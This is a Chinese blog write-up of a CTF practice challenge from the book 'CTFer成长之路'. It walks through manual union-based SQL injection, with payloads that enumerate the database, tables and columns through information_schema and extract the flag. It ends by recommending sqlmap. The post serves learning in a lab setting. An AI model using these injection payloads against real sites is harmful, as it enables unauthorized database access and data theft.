《从0到1:CTFer成长之路》书籍配套题目:[第一章 web入门]SQL注入

本文介绍了手动执行SQL注入攻击的过程,包括查找注入点、获取数据库信息等步骤,并对比了使用自动化工具SQLmap的优势。

本次做题主要是记录一下手注的过程,同时回顾一下相关内容。

题目

在这里插入图片描述

进入环境
在这里插入图片描述
首先尝试找到注入点;
在这里插入图片描述
用and 1=1 和 and 1=2进行尝试
在这里插入图片描述
在这里插入图片描述
之后就可以开始注入了;用order by获取字段个数;
在这里插入图片描述在这里插入图片描述
确定回显位置;
payload:

?id=-1' union select 1,2,3 %23

在这里插入图片描述
确定位置后就是获取数据库名;
payload:

?id=-1' union select 1,database(),3 %23

在这里插入图片描述
接下来就是确定表名;
payload:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='note' %23

在这里插入图片描述
然后就是获得属性名(即列名),flag应该就在表fl4g中;
payload:

`?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g' %23

在这里插入图片描述
接下来查看记录就能得到最后的flag了;
payload:

?id=-1' union select 1,group_concat(fllllag),3 from fl4g %23

在这里插入图片描述
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
手注十分繁琐,可以去尝试使用sqlmap;

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值